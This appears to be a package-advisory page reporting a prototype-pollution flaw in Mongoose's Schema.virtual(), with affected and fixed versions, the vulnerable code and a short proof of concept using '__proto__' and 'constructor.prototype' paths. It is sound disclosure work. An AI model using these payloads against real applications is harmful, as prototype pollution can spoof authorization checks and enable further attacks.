MediumGHSA-6972-9mcm-vhwjCVE-2026-125118

Mongoose: Prototype pollution via Schema.prototype.virtual()

Published 10 Nov 2026 · Updated 10 Nov 2026

Is your project on an affected mongoose?

Private repo? Upload its lockfile instead, or connect GitHub to check every repo.

Affected packages

Affected
<6.13.12
Fixed in
6.13.12
Update to the fixed version for your release line, for example:npm install mongoose@6.13.12
Affected
>=7.0.0 <7.8.13
Fixed in
7.8.13
Update to the fixed version for your release line, for example:npm install mongoose@7.8.13
Affected
>=8.0.0 <8.24.7
Fixed in
8.24.7
Update to the fixed version for your release line, for example:npm install mongoose@8.24.7
Affected
>=9.0.0 <9.11.4
Fixed in
9.11.4
Update to the fixed version for your release line, for example:npm install mongoose@9.11.4

Details

Summary

Prototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.

Details

In lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:

virtuals[name] = parts.reduce(function(mem, part, i) {
mem[part] || (mem[part] = (i === parts.length - 1)
? new VirtualType(options, name)
: {});
return mem[part];
}, this.tree); // lines 2755-2759

Unlike path()/add(), virtual() never received the specialProperties check added for CVE-2022-2564/CVE-2022-24304 (lib/schema.js lines 806, 1308, 1331).

A path containing __proto__/constructor/prototype segments resolves through the prototype chain and writes onto Object.prototype / Function.prototype.

Proof of concept

const mongoose = require('mongoose');
const schema = new mongoose.Schema({});

schema.virtual('__proto__.polluted');
console.log(({}).polluted); // VirtualType instance
console.log(Object.prototype.hasOwnProperty('polluted')); // true
console.log(Object.getOwnPropertyDescriptor(
Object.prototype, 'polluted').enumerable); // true

schema.virtual('constructor.prototype.opol');
console.log(({}).opol); // true

schema.virtual('hasOwnProperty.__proto__.fpol');
console.log((function(){}).fpol); // Function.prototype polluted

Impact

Attacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object — e.g. ({}).isAdmin checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).

Is GHSA-6972-9mcm-vhwj in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected mongoose, and gives you the command that fixes it.

More advisories for mongoose

  • MediumCVE-2026-125116Mongoose: Discriminator key values matching inherited properties (e.g. __t: 'constructor') bypass schema casting and can poison collections · 10 Nov 2026
  • HighCVE-2026-125117Mongoose walks into inherited properties when hydrating, setting, and merging, allowing overwrites of built-in functions (denial of service) and shared schema state · 10 Nov 2026
  • HighCVE-2026-125119Mongoose: Connection-level sanitizeFilter not applied · 10 Nov 2026
  • CriticalCVE-2026-125120Mongoose: sanitizeFilter not applied on countDocuments · 10 Nov 2026
  • MediumCVE-2026-73562Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter) · 24 Jul 2026
  • HighCVE-2026-42334Mongoose's Improper Sanitization of $nor in sanitizeFilter May Allow NoSQL Injection · 5 May 2026
All 14 advisories for mongoose

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.